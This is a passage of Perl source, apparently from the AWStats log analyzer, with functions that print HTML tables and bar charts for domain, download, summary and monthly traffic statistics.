12791				  $_domener_p{$key}
12792				? $_domener_p{$key} / $TotalPages
12793				: 0
12794			);
12795			$_domener_u += ( $_domener_h{$key} / $TotalHits );
12796			$_domener_u =
12797			  sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
12798			print "<td>".Format_Number($_domener_u)." ("
12799			  . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
12800			  . ")</td>";
12801		}
12802		if ( $ShowDomainsStats =~ /V/i ) {
12803			$_domener_v = (
12804				  $_domener_p{$key}
12805				? $_domener_p{$key} / $TotalPages
12806				: 0
12807			);
12808			$_domener_v += ( $_domener_h{$key} / $TotalHits );
12809			$_domener_v =
12810			  sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
12811			print "<td>".Format_Number($_domener_v)." ("
12812			  . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
12813			  . ")</td>";
12814		}
12815		if ( $ShowDomainsStats =~ /P/i ) {
12816			print "<td>".Format_Number($_domener_p{$key})."</td>";
12817		}
12818		if ( $ShowDomainsStats =~ /H/i ) {
12819			print "<td>".Format_Number($_domener_h{$key})."</td>";
12820		}
12821		if ( $ShowDomainsStats =~ /B/i ) {
12822			print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
12823		}
12824		print "<td class=\"aws\">";
12825		if ( $ShowDomainsStats =~ /P/i ) {
12826			print
12827"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
12828			  . AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) )
12829			  . " /><br />\n";
12830		}
12831		if ( $ShowDomainsStats =~ /H/i ) {
12832			print
12833"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
12834			  . AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) )
12835			  . " /><br />\n";
12836		}
12837		if ( $ShowDomainsStats =~ /B/i ) {
12838			print
12839"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
12840			  . AltTitle(
12841				"$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
12842			  . " />";
12843		}
12844		print "</td>";
12845		print "</tr>\n";
12846		$total_u += $_domener_u;
12847		$total_v += $_domener_v;
12848		$total_p += $_domener_p{$key};
12849		$total_h += $_domener_h{$key};
12850		$total_k += $_domener_k{$key} || 0;
12851		$count++;
12852	}
12853	my $rest_u = $TotalUnique - $total_u;
12854	my $rest_v = $TotalVisits - $total_v;
12855	$rest_p = $TotalPages - $total_p;
12856	$rest_h = $TotalHits - $total_h;
12857	$rest_k = $TotalBytes - $total_k;
12858	if (   $rest_u > 0
12859		|| $rest_v > 0
12860		|| $rest_p > 0
12861		|| $rest_h > 0
12862		|| $rest_k > 0 )
12863	{    # All other domains (known or not)
12864		print
12865"<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
12866		if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
12867		if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
12868		if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
12869		if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
12870		if ( $ShowDomainsStats =~ /B/i ) {
12871			print "<td>" . Format_Bytes($rest_k) . "</td>";
12872		}
12873		print "<td class=\"aws\">&nbsp;</td>";
12874		print "</tr>\n";
12875	}
12876	&tab_end();
12877	&html_end(1);
12878}
12879
12880#------------------------------------------------------------------------------
12881# Function:     Prints the Downloads code frame or static page
12882# Parameters:   _
12883# Input:        _
12884# Output:       HTML
12885# Return:       -
12886#------------------------------------------------------------------------------
12887sub HTMLShowDownloads{
12888	my $regext         = qr/\.(\w{1,6})$/;
12889	print "$Center<a name=\"downloads\">&nbsp;</a><br />\n";
12890	&tab_head( $Message[178], 19, 0, "downloads" );
12891	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]</th>";
12892	if ( $ShowFileTypesStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
12893		."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
12894	if ( $ShowFileTypesStats =~ /B/i ){
12895		print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12896		print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
12897	}
12898	print "</tr>\n";
12899	my $count = 0;
12900	for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
12901		print "<tr>";
12902		my $ext = Get_Extension($regext, $u);
12903		if ( !$ext) {
12904			print "<td"
12905			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
12906			  . "><img src=\"$DirIcons\/mime\/unknown.png\""
12907			  . AltTitle("")
12908			  . " /></td>";
12909		}
12910		else {
12911			my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
12912			my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || "&nbsp;";
12913			print "<td"
12914			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
12915			  . "><img src=\"$DirIcons\/mime\/$nameicon.png\""
12916			  . AltTitle("")
12917			  . " /></td>";
12918		}
12919		print "<td class=\"aws\">";
12920		&HTMLShowURLInfo($u);
12921		print "</td>";
12922		if ( $ShowFileTypesStats =~ /H/i ){
12923			print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
12924			print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
12925		}
12926		if ( $ShowFileTypesStats =~ /B/i ){
12927			print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
12928			print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
12929					($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
12930		}
12931		print "</tr>\n";
12932		$count++;
12933		if ($count >= $MaxRowsInHTMLOutput){last;}
12934	}
12935	&tab_end();
12936	&html_end(1);
12937}
12938
12939#------------------------------------------------------------------------------
12940# Function:     Prints the Summary section at the top of the main page
12941# Parameters:   _
12942# Input:        _
12943# Output:       HTML
12944# Return:       -
12945#------------------------------------------------------------------------------
12946sub HTMLMainSummary{
12947	if ($Debug) { debug( "ShowSummary", 2 ); }
12948	# FirstTime LastTime
12949	my $FirstTime = 0;
12950	my $LastTime  = 0;
12951	foreach my $key ( keys %FirstTime ) {
12952		my $keyqualified = 0;
12953		if ( $MonthRequired eq 'all' ) { $keyqualified = 1; }
12954		if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
12955		if ($keyqualified) {
12956			if ( $FirstTime{$key}
12957				&& ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
12958			{
12959				$FirstTime = $FirstTime{$key};
12960			}
12961			if ( $LastTime < ( $LastTime{$key} || 0 ) ) {
12962				$LastTime = $LastTime{$key};
12963			}
12964		}
12965	}
12966
12967	#print "$Center<a name=\"summary\">&nbsp;</a><br />\n";
12968	my $title = "$Message[128]";
12969	&tab_head( "$title", 0, 0, 'month' );
12970
12971	my $NewLinkParams = ${QueryString};
12972	$NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
12973	$NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
12974	$NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
12975	$NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
12976	$NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
12977	$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
12978	$NewLinkParams =~ s/^&amp;//;
12979	$NewLinkParams =~ s/&amp;$//;
12980	if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
12981	my $NewLinkTarget = '';
12982
12983	if ( $FrameName eq 'mainright' ) {
12984		$NewLinkTarget = " target=\"_parent\"";
12985	}
12986
12987	# Ratio
12988	my $RatioVisits = 0;
12989	my $RatioPages  = 0;
12990	my $RatioHits   = 0;
12991	my $RatioBytes  = 0;
12992	if ( $TotalUnique > 0 ) {
12993		$RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100;
12994	}
12995	if ( $TotalVisits > 0 ) {
12996		$RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100;
12997	}
12998	if ( $TotalVisits > 0 ) {
12999		$RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100;
13000	}
13001	if ( $TotalVisits > 0 ) {
13002		$RatioBytes =
13003		  int( ( $TotalBytes / 1024 ) * 100 /
13004			  ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
13005	}
13006
13007	my $colspan = 5;
13008	my $w       = '20';
13009	if ( $LogType eq 'W' || $LogType eq 'S' ) {
13010		$w       = '17';
13011		$colspan = 6;
13012	}
13013
13014	# Show first/last
13015	print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
13016	print
13017"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\""
13018	  . ( $colspan - 1 ) . "\">\n";
13019	print( $MonthRequired eq 'all'
13020		? "$Message[6] $YearRequired"
13021		: "$Message[5] "
13022		  . $MonthNumLib{$MonthRequired}
13023		  . " $YearRequired"
13024	);
13025	print "</td></tr>\n";
13026	print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
13027	print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
13028	print "<td class=\"aws\" colspan=\""
13029	  . ( $colspan - 1 ) . "\">"
13030	  . ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>";
13031	print "</tr>\n";
13032	print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
13033	print "<td class=\"aws\"><b>$Message[9]</b></td>\n";
13034	print "<td class=\"aws\" colspan=\""
13035	  . ( $colspan - 1 ) . "\">"
13036	  . ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" )
13037	  . "</td>\n";
13038	print "</tr>\n";
13039
13040	# Show main indicators title row
13041	print "<tr>";
13042	if ( $LogType eq 'W' || $LogType eq 'S' ) {
13043		print "<td bgcolor=\"#$color_TableBGTitle\">&nbsp;</td>";
13044	}
13045	if ( $ShowSummary =~ /U/i ) {
13046		print "<td width=\"$w%\" bgcolor=\"#$color_u\""
13047		  . Tooltip(2)
13048		  . ">$Message[11]</td>";
13049	}
13050	else {
13051		print
13052"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
13053	}
13054	if ( $ShowSummary =~ /V/i ) {
13055		print "<td width=\"$w%\" bgcolor=\"#$color_v\""
13056		  . Tooltip(1)
13057		  . ">$Message[10]</td>";
13058	}
13059	else {
13060		print
13061"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
13062	}
13063	if ( $ShowSummary =~ /P/i ) {
13064		print "<td width=\"$w%\" bgcolor=\"#$color_p\""
13065		  . Tooltip(3)
13066		  . ">$Message[56]</td>";
13067	}
13068	else {
13069		print
13070"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
13071	}
13072	if ( $ShowSummary =~ /H/i ) {
13073		print "<td width=\"$w%\" bgcolor=\"#$color_h\""
13074		  . Tooltip(4)
13075		  . ">$Message[57]</td>";
13076	}
13077	else {
13078		print
13079"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
13080	}
13081	if ( $ShowSummary =~ /B/i ) {
13082		print "<td width=\"$w%\" bgcolor=\"#$color_k\""
13083		  . Tooltip(5)
13084		  . ">$Message[75]</td>";
13085	}
13086	else {
13087		print
13088"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
13089	}
13090	print "</tr>\n";
13091
13092	# Show main indicators values for viewed traffic
13093	print "<tr>";
13094	if ( $LogType eq 'M' ) {
13095		print "<td class=\"aws\">$Message[165]</td>";
13096		print "<td>&nbsp;<br />&nbsp;</td>\n";
13097		print "<td>&nbsp;<br />&nbsp;</td>\n";
13098		if ( $ShowSummary =~ /H/i ) {
13099			print "<td><b>".Format_Number($TotalHits)."</b>"
13100			  . (
13101				$LogType eq 'M'
13102				? ""
13103				: "<br />($RatioHits&nbsp;"
13104				  . lc( $Message[57] . "/" . $Message[12] ) . ")"
13105			  )
13106			  . "</td>";
13107		}
13108		else { print "<td>&nbsp;</td>"; }
13109		if ( $ShowSummary =~ /B/i ) {
13110			print "<td><b>"
13111			  . Format_Bytes( int($TotalBytes) )
13112			  . "</b><br />($RatioBytes&nbsp;$Message[108]/"
13113			  . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
13114			  . ")</td>";
13115		}
13116		else { print "<td>&nbsp;</td>"; }
13117	}
13118	else {
13119		if ( $LogType eq 'W' || $LogType eq 'S' ) {
13120			print "<td class=\"aws\">$Message[160]&nbsp;*</td>";
13121		}
13122		if ( $ShowSummary =~ /U/i ) {
13123			print "<td>"
13124			  . (
13125				$MonthRequired eq 'all'
13126				? "<b>&lt;= ".Format_Number($TotalUnique)."</b><br />$Message[129]"
13127				: "<b>".Format_Number($TotalUnique)."</b><br />&nbsp;"
13128			  )
13129			  . "</td>";
13130		}
13131		else { print "<td>&nbsp;</td>"; }
13132		if ( $ShowSummary =~ /V/i ) {
13133			print
13134"<td><b>".Format_Number($TotalVisits)."</b><br />($RatioVisits&nbsp;$Message[52])</td>";
13135		}
13136		else { print "<td>&nbsp;</td>"; }
13137		if ( $ShowSummary =~ /P/i ) {
13138			print "<td><b>".Format_Number($TotalPages)."</b><br />($RatioPages&nbsp;"
13139			  . $Message[56] . "/"
13140			  . $Message[12]
13141			  . ")</td>";
13142		}
13143		else { print "<td>&nbsp;</td>"; }
13144		if ( $ShowSummary =~ /H/i ) {
13145			print "<td><b>".Format_Number($TotalHits)."</b>"
13146			  . (
13147				$LogType eq 'M'
13148				? ""
13149				: "<br />($RatioHits&nbsp;"
13150				  . $Message[57] . "/"
13151				  . $Message[12] . ")"
13152			  )
13153			  . "</td>";
13154		}
13155		else { print "<td>&nbsp;</td>"; }
13156		if ( $ShowSummary =~ /B/i ) {
13157			print "<td><b>"
13158			  . Format_Bytes( int($TotalBytes) )
13159			  . "</b><br />($RatioBytes&nbsp;$Message[108]/"
13160			  . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
13161			  . ")</td>";
13162		}
13163		else { print "<td>&nbsp;</td>"; }
13164	}
13165	print "</tr>\n";
13166
13167	# Show main indicators values for not viewed traffic values
13168	if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) {
13169		print "<tr>";
13170		if ( $LogType eq 'M' ) {
13171			print "<td class=\"aws\">$Message[166]</td>";
13172			print "<td>&nbsp;<br />&nbsp;</td>\n";
13173			print "<td>&nbsp;<br />&nbsp;</td>\n";
13174			if ( $ShowSummary =~ /H/i ) {
13175				print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
13176			}
13177			else { print "<td>&nbsp;</td>"; }
13178			if ( $ShowSummary =~ /B/i ) {
13179				print "<td><b>"
13180				  . Format_Bytes( int($TotalNotViewedBytes) )
13181				  . "</b></td>";
13182			}
13183			else { print "<td>&nbsp;</td>"; }
13184		}
13185		else {
13186			if ( $LogType eq 'W' || $LogType eq 'S' ) {
13187				print "<td class=\"aws\">$Message[161]&nbsp;*</td>";
13188			}
13189			print "<td colspan=\"2\">&nbsp;<br />&nbsp;</td>\n";
13190			if ( $ShowSummary =~ /P/i ) {
13191				print "<td><b>".Format_Number($TotalNotViewedPages)."</b></td>";
13192			}
13193			else { print "<td>&nbsp;</td>"; }
13194			if ( $ShowSummary =~ /H/i ) {
13195				print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
13196			}
13197			else { print "<td>&nbsp;</td>"; }
13198			if ( $ShowSummary =~ /B/i ) {
13199				print "<td><b>"
13200				  . Format_Bytes( int($TotalNotViewedBytes) )
13201				  . "</b></td>";
13202			}
13203			else { print "<td>&nbsp;</td>"; }
13204		}
13205		print "</tr>\n";
13206	}
13207	&tab_end($LogType eq 'W'
13208		  || $LogType eq 'S' ? "* $Message[159]" : "" );
13209}
13210
13211#------------------------------------------------------------------------------
13212# Function:     Prints the Monthly section on the main page
13213# Parameters:   _
13214# Input:        _
13215# Output:       HTML
13216# Return:       -
13217#------------------------------------------------------------------------------
13218sub HTMLMainMonthly{
13219	if ($Debug) { debug( "ShowMonthStats", 2 ); }
13220	print "$Center<a name=\"month\">&nbsp;</a><br />\n";
13221	my $title = "$Message[162]";
13222	&tab_head( "$title", 0, 0, 'month' );
13223	print "<tr><td align=\"center\">\n";
13224	print "<center>\n";
13225
13226	my $average_nb = my $average_u = my $average_v = my $average_p = 0;
13227	my $average_h = my $average_k = 0;
13228	my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
13229	my $max_v = my $max_p = my $max_h = my $max_k = 1;
13230
13231	# Define total and max
13232	for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13233		my $monthix = sprintf( "%02s", $ix );
13234		$total_u += $MonthUnique{ $YearRequired . $monthix } || 0;
13235		$total_v += $MonthVisits{ $YearRequired . $monthix } || 0;
13236		$total_p += $MonthPages{ $YearRequired . $monthix }  || 0;
13237		$total_h += $MonthHits{ $YearRequired . $monthix }   || 0;
13238		$total_k += $MonthBytes{ $YearRequired . $monthix }  || 0;
13239
13240#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; }
13241		if (
13242			( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v )
13243		{
13244			$max_v = $MonthVisits{ $YearRequired . $monthix };
13245		}
13246
13247#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p)  { $max_p=$MonthPages{$YearRequired.$monthix}; }
13248		if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h )
13249		{
13250			$max_h = $MonthHits{ $YearRequired . $monthix };
13251		}
13252		if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k )
13253		{
13254			$max_k = $MonthBytes{ $YearRequired . $monthix };
13255		}
13256	}
13257
13258	# Define average
13259	# TODO
13260
13261	# Show bars for month
13262	my $graphdone=0;
13263	foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
13264	{
13265		my @blocklabel = ();
13266		for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13267			my $monthix = sprintf( "%02s", $ix );
13268			push @blocklabel,
13269			  "$MonthNumLib{$monthix}\n$YearRequired";
13270		}
13271		my @vallabel = (
13272			"$Message[11]", "$Message[10]",
13273			"$Message[56]", "$Message[57]",
13274			"$Message[75]"
13275		);
13276		my @valcolor =
13277		  ( "$color_u", "$color_v", "$color_p", "$color_h",
13278			"$color_k" );
13279		my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k );
13280		my @valtotal =
13281		  ( $total_u, $total_v, $total_p, $total_h, $total_k );
13282		my @valaverage = ();
13283
13284		#my @valaverage=($average_v,$average_p,$average_h,$average_k);
13285		my @valdata = ();
13286		my $xx      = 0;
13287		for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13288			my $monthix = sprintf( "%02s", $ix );
13289			$valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix }
13290			  || 0;
13291			$valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix }
13292			  || 0;
13293			$valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix }
13294			  || 0;
13295			$valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix }
13296			  || 0;
13297			$valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix }
13298			  || 0;
13299		}
13300
13301		my $function = "ShowGraph_$pluginname";
13302		&$function(
13303			"$title",        "month",
13304			$ShowMonthStats, \@blocklabel,
13305			\@vallabel,      \@valcolor,
13306			\@valmax,        \@valtotal,
13307			\@valaverage,    \@valdata
13308		);
13309		$graphdone=1;
13310	}
13311	if (! $graphdone)
13312	{
13313		print "<table>\n";
13314		print "<tr valign=\"bottom\">";
13315		print "<td>&nbsp;</td>\n";
13316		for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13317			my $monthix  = sprintf( "%02s", $ix );
13318			my $bredde_u = 0;
13319			my $bredde_v = 0;
13320			my $bredde_p = 0;
13321			my $bredde_h = 0;
13322			my $bredde_k = 0;
13323			if ( $max_v > 0 ) {
13324				$bredde_u =
13325				  int(
13326					( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
13327					  $max_v * $BarHeight ) + 1;
13328			}
13329			if ( $max_v > 0 ) {
13330				$bredde_v =
13331				  int(
13332					( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
13333					  $max_v * $BarHeight ) + 1;
13334			}
13335			if ( $max_h > 0 ) {
13336				$bredde_p =
13337				  int(
13338					( $MonthPages{ $YearRequired . $monthix } || 0 ) /
13339					  $max_h * $BarHeight ) + 1;
13340			}
13341			if ( $max_h > 0 ) {
13342				$bredde_h =
13343				  int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) /
13344					  $max_h * $BarHeight ) + 1;
13345			}
13346			if ( $max_k > 0 ) {
13347				$bredde_k =
13348				  int(
13349					( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
13350					  $max_k * $BarHeight ) + 1;
13351			}
13352			print "<td>";
13353			if ( $ShowMonthStats =~ /U/i ) {
13354				print
13355"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\""
13356				  . AltTitle( "$Message[11]: "
13357					  . ( $MonthUnique{ $YearRequired . $monthix }
13358						  || 0 ) )
13359				  . " />";
13360			}
13361			if ( $ShowMonthStats =~ /V/i ) {
13362				print
13363"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\""
13364				  . AltTitle( "$Message[10]: "
13365					  . ( $MonthVisits{ $YearRequired . $monthix }
13366						  || 0 ) )
13367				  . " />";
13368			}
13369			if ( $ShowMonthStats =~ /P/i ) {
13370				print
13371"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
13372				  . AltTitle( "$Message[56]: "
13373					  . ( $MonthPages{ $YearRequired . $monthix } || 0 )
13374				  )
13375				  . " />";
13376			}
13377			if ( $ShowMonthStats =~ /H/i ) {
13378				print
13379"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
13380				  . AltTitle( "$Message[57]: "
13381					  . ( $MonthHits{ $YearRequired . $monthix } || 0 )
13382				  )
13383				  . " />";
13384			}
13385			if ( $ShowMonthStats =~ /B/i ) {
13386				print
13387"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
13388					  . AltTitle(
13389					"$Message[75]: "
13390					  . Format_Bytes(
13391						$MonthBytes{ $YearRequired . $monthix }
13392					  )
13393				  )
13394				  . " />";
13395			}
13396			print "</td>\n";
13397		}
13398		print "<td>&nbsp;</td>";
13399		print "</tr>\n";
13400
13401		# Show lib for month
13402		print "<tr valign=\"middle\">";
13403
13404		#if (!$StaticLinks) {
13405		#	print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=12&year=".($YearRequired-1))."\">&lt;&lt;</a></td>";
13406		#}
13407		#else {
13408		print "<td>&nbsp;</td>";
13409
13410		#				}
13411		for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13412			my $monthix = sprintf( "%02s", $ix );
13413
13414#			if (!$StaticLinks) {
13415#				print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>";
13416#			}
13417#			else {
13418			print "<td>"
13419			  . (
13420				!$StaticLinks
13421				  && $monthix == $nowmonth
13422				  && $YearRequired == $nowyear
13423				? '<span class="currentday">'
13424				: ''
13425			  );
13426			print "$MonthNumLib{$monthix}<br />$YearRequired";
13427			print(   !$StaticLinks
13428				  && $monthix == $nowmonth
13429				  && $YearRequired == $nowyear ? '</span>' : '' );
13430			print "</td>";
13431
13432			#					}
13433		}
13434
13435#		if (!$StaticLinks) {
13436#			print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=1&year=".($YearRequired+1))."\">&gt;&gt;</a></td>";
13437#		}
13438#		else {
13439		print "<td>&nbsp;</td>";
13440
13441		#				}
13442		print "</tr>\n";
13443		print "</table>\n";
13444	}
13445	print "<br />\n";
13446
13447	# Show data array for month
13448	if ($AddDataArrayMonthStats) {
13449		print "<table>\n";
13450		print
13451"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>";
13452		if ( $ShowMonthStats =~ /U/i ) {
13453			print "<td width=\"80\" bgcolor=\"#$color_u\""
13454			  . Tooltip(2)
13455			  . ">$Message[11]</td>";
13456		}
13457		if ( $ShowMonthStats =~ /V/i ) {
13458			print "<td width=\"80\" bgcolor=\"#$color_v\""
13459			  . Tooltip(1)
13460			  . ">$Message[10]</td>";
13461		}
13462		if ( $ShowMonthStats =~ /P/i ) {
13463			print "<td width=\"80\" bgcolor=\"#$color_p\""
13464			  . Tooltip(3)
13465			  . ">$Message[56]</td>";
13466		}
13467		if ( $ShowMonthStats =~ /H/i ) {
13468			print "<td width=\"80\" bgcolor=\"#$color_h\""
13469			  . Tooltip(4)
13470			  . ">$Message[57]</td>";
13471		}
13472		if ( $ShowMonthStats =~ /B/i ) {
13473			print "<td width=\"80\" bgcolor=\"#$color_k\""
13474			  . Tooltip(5)
13475			  . ">$Message[75]</td>";
13476		}
13477		print "</tr>\n";
13478		for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13479			my $monthix = sprintf( "%02s", $ix );
13480			print "<tr>";
13481			print "<td>"
13482			  . (
13483				!$StaticLinks
13484				  && $monthix == $nowmonth
13485				  && $YearRequired == $nowyear
13486				? '<span class="currentday">'
13487				: ''
13488			  );
13489			print "$MonthNumLib{$monthix} $YearRequired";
13490			print(   !$StaticLinks
13491				  && $monthix == $nowmonth
13492				  && $YearRequired == $nowyear ? '</span>' : '' );
13493			print "</td>";
13494			if ( $ShowMonthStats =~ /U/i ) {
13495				print "<td>",
13496				  Format_Number($MonthUnique{ $YearRequired . $monthix }
13497				  ? $MonthUnique{ $YearRequired . $monthix }
13498				  : "0"), "</td>";
13499			}
13500			if ( $ShowMonthStats =~ /V/i ) {
13501				print "<td>",
13502				  Format_Number($MonthVisits{ $YearRequired . $monthix }
13503				  ? $MonthVisits{ $YearRequired . $monthix }
13504				  : "0"), "</td>";
13505			}
13506			if ( $ShowMonthStats =~ /P/i ) {
13507				print "<td>",
13508				  Format_Number($MonthPages{ $YearRequired . $monthix }
13509				  ? $MonthPages{ $YearRequired . $monthix }
13510				  : "0"), "</td>";
13511			}
13512			if ( $ShowMonthStats =~ /H/i ) {
13513				print "<td>",
13514				  Format_Number($MonthHits{ $YearRequired . $monthix }
13515				  ? $MonthHits{ $YearRequired . $monthix }
13516				  : "0"), "</td>";
13517			}
13518			if ( $ShowMonthStats =~ /B/i ) {
13519				print "<td>",
13520				  Format_Bytes(
13521					int( $MonthBytes{ $YearRequired . $monthix } || 0 )
13522				  ), "</td>";
13523			}
13524			print "</tr>\n";
13525		}
13526
13527		# Average row
13528		# TODO
13529		# Total row
13530		print
13531"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>";
13532		if ( $ShowMonthStats =~ /U/i ) {
13533			print
13534			  "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_u)."</td>";
13535		}
13536		if ( $ShowMonthStats =~ /V/i ) {
13537			print
13538			  "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_v)."</td>";
13539		}
13540		if ( $ShowMonthStats =~ /P/i ) {
13541			print
13542			  "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_p)."</td>";
13543		}
13544		if ( $ShowMonthStats =~ /H/i ) {
13545			print
13546			  "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_h)."</td>";
13547		}
13548		if ( $ShowMonthStats =~ /B/i ) {
13549			print "<td bgcolor=\"#$color_TableBGRowTitle\">"
13550			  . Format_Bytes($total_k) . "</td>";
13551		}
13552		print "</tr>\n";
13553		print "</table>\n<br />\n";
13554	}
13555
13556	print "</center>\n";
13557	print "</td></tr>\n";
13558	&tab_end();
13559}
13560
13561#------------------------------------------------------------------------------
13562# Function:     Prints the Daily section on the main page
13563# Parameters:   $firstdaytocountaverage, $lastdaytocountaverage
13564#				$firstdaytoshowtime, $lastdaytoshowtime
13565# Input:        _
13566# Output:       HTML
13567# Return:       -
13568#------------------------------------------------------------------------------
13569sub HTMLMainDaily{
13570	my $firstdaytocountaverage = shift;
13571	my $lastdaytocountaverage = shift;
13572	my $firstdaytoshowtime = shift;
13573	my $lastdaytoshowtime = shift;
13574
13575	if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); }
13576	print "$Center<a name=\"daysofmonth\">&nbsp;</a><br />\n";
13577
13578	my $NewLinkParams = ${QueryString};
13579	$NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
13580	$NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
13581	$NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
13582	$NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
